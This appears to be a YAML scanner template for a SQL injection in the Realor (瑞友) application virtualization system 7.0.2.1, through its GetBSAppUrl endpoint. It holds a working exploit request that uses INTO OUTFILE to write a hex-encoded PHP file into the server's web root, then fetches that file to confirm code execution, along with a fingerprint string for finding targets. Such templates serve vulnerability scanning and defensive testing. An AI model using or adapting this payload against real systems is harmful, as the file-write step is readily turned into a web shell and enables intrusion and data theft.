realor-getbsappurl-sql-inject: 瑞友应用虚拟化系统 GetBSAppUrl SQL注入

id: realor-getbsappurl-sql-inject

info:
  name: 瑞友应用虚拟化系统 GetBSAppUrl SQL注入
  author: zan8in
  severity: high
  verified: true
  description: |
    瑞友 应用虚拟化系统 GetBSAppUrl方法存在SQL注入漏洞，由于参数传入没有进行过滤导致存在SQL注入，攻击者通过漏洞可以获取数据库敏感信息
    漏洞影响：瑞友应用虚拟化系统 7.0.2.1
    "CASMain.XGI?cmd=GetDirApp" && title=="瑞友应用虚拟化系统"
  tags: realor,sqli
  creatd: 2023/07/29

set:
  randstr: randomLowercase(6)
rules:
  r0:
    request:
      method: GET
      path: /index.php?s=/Agent/GetBSAppUrl/AppID/')%3bselect+0x3c3f70687020706870696e666f28293b3f3e+into+outfile+%27C%3a\\Program+Files+(x86)\\RealFriend\\Rap+Server\\WebRoot\\{{randstr}}.php%27%23/123
    expression: response.status == 200 && response.body.bcontains(b'[result]') && response.body.bcontains(b'result=')
  r1:
    request:
      method: GET
      path: /{{randstr}}.php
    expression: response.status == 200 && response.body.bcontains(b'PHP Extension') && response.body.bcontains(b'PHP Version') && r'>PHP Version <\/td><td class="v">([0-9.]+)'.bmatches(response.body)
expression: r0() && r1()